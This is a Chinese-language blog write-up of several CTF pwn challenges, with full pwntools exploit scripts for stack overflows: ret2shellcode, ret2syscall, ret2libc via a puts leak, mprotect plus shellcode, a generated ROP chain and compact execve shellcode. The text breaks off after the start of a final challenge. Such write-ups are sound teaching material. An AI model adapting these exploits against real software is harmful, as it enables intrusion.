感谢西电ctf平台

ez_shellcode

肆意溢出并构造shellcode吧!
checksec查保护,运行
alt text
发现值开启了PIE保护,程序允许输入并输出一段地址,放入ida中反编译瞅瞅
漏洞点在fun()函数中
alt text
可以看到,read函数的接受值可以由用户进行控制的,同时会打印出nbytes_4的地址,最后将nbytes_4读入。我们想要的是利用read函数打栈溢出,造成ret2shellcode。
这里我们可以控制读入shellcode到程序输出的地址,就是nbytes_4的地址,将payload写入,然后执行即可。
我们来计算造成栈溢出的偏移量为96
alt text
可以看到,nbytes_4段可读可写可执行
alt text

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3

from pwn import *

sh = process("./pwn")
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'

sh.recvuntil('age')
sh.sendline('200')
sh.recvuntil('you :\n')
buf_addr = int(sh.recvuntil('\n').decode(),16)
log.success(buf_addr)
log.success(type(buf_addr))
payload = asm(shellcraft.sh()).ljust((0x60 + 0x08), b'a') + p64(buf_addr)
sh.recvuntil("say")
sh.sendline(payload)
sh.interactive()

成功本地打通:
alt text
打远程
alt text

NotEnoughTime

在正式开始 Pwn 之前,我需要先检测一下你的数学 (?) 能力…

连接远程环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import math

context.log_level='debug'

sh = remote('127.0.0.1', 43425)
sh.recvuntil("Test start, you have only 30 seconds.\nLet's begin with simple ones.\n")
title = sh.recvuntil('=').strip().decode()[:-1]
result = eval(title)
sh.sendline(str(result))
title = sh.recvuntil('=').strip().decode()[:-1]
result = math.floor(eval(title))
sh.sendline(str(result))
sh.recvuntil('OK, then some tough ones. Be WELL PREPARED!\n')
for i in range(100):
title = sh.recvuntil('=').strip().decode()[:-1]
title = title.replace("\n","").replace(" ","").replace(" ","")
print("title",title)
result = math.floor(eval(title))
print(result)
sh.sendline(str(result))

这是什么?32-bit!

Linux 遵循的 AMD64 System V ABI 使用 6 个寄存器(rdi、rsi…)传递函数参数,参数数量大于 6 个时才继续使用栈传递参数。然而 32 位程序只使用栈传递参数,参数从右至左依次入栈。

checksec+运行,32位程序,只开启NX保护,要求输入
alt text
输入过长明文会崩溃
alt text
使用ida打开查看,发现vuln函数,查看:
alt text
发现backdoor函数,查看,为后门函数,但是好像有点不对劲,fakefalg是什么鬼,本题的目的应该是需要拿shell的:
alt text
发现存在scanf的栈溢出漏洞,关于scanf栈溢出,这里正好是scanf("%s",s),所以我们可以打栈溢出到backdoor函数。
计算偏移为41,因为回车符也会被录入,所以这里的实际偏移为40
alt text
使用ROPgadget查到execve函数及binsh地址为:
alt text
这里既然有execve,那么则是让我们打ret2syscall

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

sh = process('./backdoor')
elf = ELF('./backdoor')

execve_addr = 0x080490A0
bin_sh = 0x0804a011

# payload = flat([
# b'a' * (0x28 + 0x04), elf.sym[b'execve'], 0, next(elf.search(b'/bin/sh')), 0, 0
# ])
payload = flat([
b'a' * (0x28 + 0x04), execve_addr, 0, bin_sh, 0, 0
])
sh.sendline()
gdb.attach(sh)
sh.sendlineafter('Enter the password: ', payload)

sh.interactive()

中间出了点小问题,脑袋抽抽了用ROPgadget查了execve的地址用上了,我说怎么打不通。
alt text
差点踩坑里
alt text

TGCTF-签到

写不出来?回家吧孩子,回家吧

ret2libc,给出了所用的libc版本。
使用checksec查保护。64位程序,仅开启NX保护。
alt text
使用ida反编译进行审计,发现程序内无system('/bin/sh),漏洞点在gets函数栈溢出,并且存在puts函数。
alt text
对于无system/bin/sh的情况,参考下面大佬的文章:
《重生之我在yctu做pwn手》系列视频笔记
因为本题中存在puts函数,所以我们这里泄露puts函数的地址来计算libc的基地址,从而构造system('/bin/sh')
计算偏移
alt text

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'

sh = process('./pwn')
# sh = remote("127.0.0.1", 42581)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

pop_rdi_ret = 0x0401176
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p1 = b'a' * (0x70 + 0x08)
p1 += p64(pop_rdi_ret)
p1 += p64(puts_got)
p1 += p64(puts_plt)
p1 += p64(main)


#gdb.attach(sh)
print(hex(puts_got))
print(hex(puts_plt))

print(hex(main))
sh.sendline(p1)

libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print("libc_base", hex(libc_base))
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base

p2 = b'b' * (0x70 + 0x08)
p2 += p64(pop_rdi_ret)
p2 += p64(bin_sh)
p2 += p64(0x40101a)
p2 += p64(system)
sh.sendline(p2)
sh.interactive()

不知道为什么,我在做的时候一直会卡在这一步,导致我一直以为我的exp是错误的,一直改改改,😭。
alt text
最后看到大佬发的wp,对照了一下,没问题,于是多跑了几遍,才出来。😡

TGCTF-overflow

最简单的溢出了,应该把它设置成签到的

checksec查保护,32位程序,发现开启了NX与canary保护。
alt text
使用ida反编译后发现,该程序使用静态链接,使用ldd确定:
alt text
alt text
存在gets函数栈溢出漏洞,且程序中不存在system函数及/bin/sh字符串
alt text
确定偏移为0xD0
alt text
静态编译的pwn题,参考该大佬的文章:
[pwn]静态编译
mprotect静态编译
在遇到静态编译的题目时,我们不能同过泄露libc的方式来攻击,只能寻找是否存在system函数或者存在mprotect函数。该函数的作用是,可以修改一段内存的权限。

mprotect
mprotect()
在linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:

alt text

mprotect()函数把自start开始的,长度为len的内存去的保护属性修改为prot指定的值。
port可以取以下几个值,并且可以用’|'将几个属性合起来使用(在sys/mman.h中定义):

  1. PORT_READ: 表示内存段内的内容可读;
  2. PROT_WRITE: 表示内存段内的内存可写;
  3. PORT_EXEC: 表示内存段中的内容可执行,要成功使用改标志,进程必需启用PROCMGR_AID_PROT_WRITE_AND_EXEC权限。;
  4. PROT_NONE: 表示内存段中的内存不可被访问(不可读、不可写、不可执行);
  5. PROT_NOCACHE: 禁用该区域的缓存(例如用于访问双端口内存),在ARM架构上,PROT_NOCACHE会使RAM被映射为正常非缓存类型,但非RAM区域则会映射为“强序设备内存”。;

需要指出的是:锁指定的内存区间必需包含整个内存页(4K)。区间开始的地址start必需是一个内存页的起始地址,并且区间len必须是页大小的整数倍。
如果执行成功,则返回0(success);如果执行失败,则返回-1(发生了错误,设置errno),说明具体因为什么原因造成调用失败。错误原因主要有以下几个:

  1. EACCES:
    • 内存对象未以读取方式打开,即使指定了读保护
    • 内存对象未以写入方式打开,但你为MAP_SHARED类型指定了PROT_WRITE
    • 你为一个内存映射文件指定了PROT_EXEC,但该文件对客户端进程没有执行权限,并且procnto是使用-mx选项启动的。
  2. EINAIN: prot参数为MAP_PRIVATE映射指定了PROT_WRITE,但系统资源不足,无法为锁定私有页预留内存。
  3. ENOMEM:
    • addr开始的地址范围(长度为len字节)超出了进程地址空间允许的范围,或者包含一个或多个未映射的页面;
    • prot参数为MAP_PRIVATE映射指定了PROT_WRITE,而锁定这些私有页(如果需要)需要的空间超出系统能提供的预留容量;
    • 系统可用内存不足,无法将PROT_NONE映射转换为PROT_READ和/或PROT_WRITE
  4. ENOSYS: 当前实现不支持mprotect()函数。
  5. EPERM:
    • 调用进程没有所需权限(见procmgr_ability
    • 或者试图为受不信任内存映射文件覆盖的区域设置PROT_EXEC

我们查找是否存在mprotect()函数。
alt text
然后,寻找可以修改权限的内存页,来实现写入payload。使用gdb进行调试寻找。
alt text
从下往上看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
add     esp, 10h
sub esp, 0Ch
lea eax, (aCouldYouTellMe - 80EE000h)[ebx] ; "could you tell me your name?"
push eax
call puts
add esp, 10h
sub esp, 4
push 100h
lea eax, (name - 80EE000h)[ebx]
push eax
push 0
call read
add esp, 10h
sub esp, 0Ch
lea eax, (aIHeardYouLoveG - 80EE000h)[ebx] ; "i heard you love gets,right?"
push eax
call puts
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+buf]
push eax
call gets
add esp, 10h
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn

最后retn的值是ecx-4,而ecx寄存器的值保存在ebp-8,buf距离ebp0xD0。这里我们先将要执行的mprotect对name所在内存页赋予可读可写可执行的权限与shellcode写入name中,最后,利用gets溢出跳转到name的地址,此时便会先执行mprotect授权,然后执行shellcode拿到权限。
再细说下流程:
首先,name所在的.bss段是可以写入的,并且可写入字节数足够大,但不可以执行,所以,我们首先构造使用mprotect对name所在.bss段的内存页进行提权的代码段,再跟上我们要使用shellcode。将这一段代码先写入name所在的.bss段中去。然后,到gets函数时,覆盖到ebp-8的位置,也就是ecx的地址,则ecx-4的地址即为name的地址,返回到name地址后,第一步便会执行mprotect进行提权,然后执行shellcode。
这里贴出chat给出的解释
alt text
写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3

from pwn import *
from struct import pack

context(os='linux', arch='i386', log_level='debug')

sh = process("./pwn")
# sh = remote("", )

mprotect_addr = 0x08070A70
name = 0x080EF320

payload = p32(mprotect_addr) + p32(name + 0x14) + p32(0x080EF000) + p32(0x1000) + p32(0x07) + asm(shellcraft.sh())
sh.recvuntil(b"could you tell me your name?\n")
sh.sendline(payload)
payload = b'a' * (0xD0 - 0x08) + p32(name + 0x04)
sh.recvuntil(b"i heard you love gets,right?\n")
sh.sendline(payload)
sh.interactive()

alt text

还有一种方式利用ret2syscall,写好rop链后使用栈迁移到该地址继续执行即可。
使用ROPgadget来搜索指令片段,构成call system('/bin/sh')

1
ROPgadget --binary ./pwn --ropchain

alt text
然后利用栈迁移,跟exp1的构造方法差不多,都是迁移到name段开始执行代码。

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3

from pwn import *
from struct import pack

context(os='linux', arch='amd64', log_level='debug')
sh = process('./pwn')

name = 0x080EF320
# Padding goes here
p = b''

p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08049802) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08049c6a) # int 0x80

sh.recvuntil(b"could you tell me your name?\n")
sh.sendline(p)

payload = b'a' * (0xD0 - 0x08) + p32(name + 0x04)
sh.sendline(payload)
sh.sendline(b"/bin/sh\x00")

sh.interactive()

alt text

TGCTF-shellcode

反正我是够用了,仔细看看寄存器吧

checksec查保护,运行随手输入发现存在输入限制,开启了PIE保护以及NX保护。
alt text
使用IDA反编译查看:
alt text
alt text
看不懂,问完chat后,明白了代码执行逻辑。先看一下mmap函数:

C语言–mmap()函数
然后让我们来看程序实现逻辑:
首先关闭标准输入输出及错误输出的缓冲,确保输入输出实时刷新,便于交互,然后输出提示语。接下来,使用mmap函数分配了一段大小为0x1000字节的内存,刚好为一页内存,设置这页内存的权限为可读可写可执行,设置这段内存是匿名映射且不共享。完成后返回地址保存在buf中。然后,调用read函数读取0x12字节保存到buf中。接下来使用mprotect()buf所在内存页(也就是上述使用mmap()函数修改为可读可写可执行权限的内存页)修改为只读权限。接下来,跳转到buf段中开始执行代码。

利用方法就很明了了,由于该题关闭了二次读入,所以我们需要使用read函数读入0x12字节的shellcode即可。
使用gdb调试一下:
alt text
可以发现,传入的数值仅在RDI寄存器中,所以我们可以利用add al, 0x3b,使rax = 0x3b,即execvesyscall编号,接下来使用add rdi, 0x8,修改rdi寄存器的值偏移0x08字节,接下来使用syscall发起系统调用,实际上是调用了execve,接下来,再发送/bin/sh\x00,构成execve('/bin/sh'),拿到shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
# sh = remote("", )

sh.recvuntil(b"try to show your strength \n")

payload = asm('''
add al, 0x3b
add rdi, 0x8
syscall
''')
payload += b'/bin/sh\x00'
gdb.attach(sh)
sh.sendline(payload)
print(len(payload))
sh.interactive()

没打通,哈哈,看到其他大佬的exp应该是打通了的,没想通是什么原因,有大佬可以告诉我嘛。调试出的报错是因为没有给予execve后面两个参数。
alt text

TGCTF-stack

模拟了,但没完全模拟

checksec+运行,得到基本信息,仅开启NX保护,并且存在两次输入。
alt text
IDA反编译进行查看。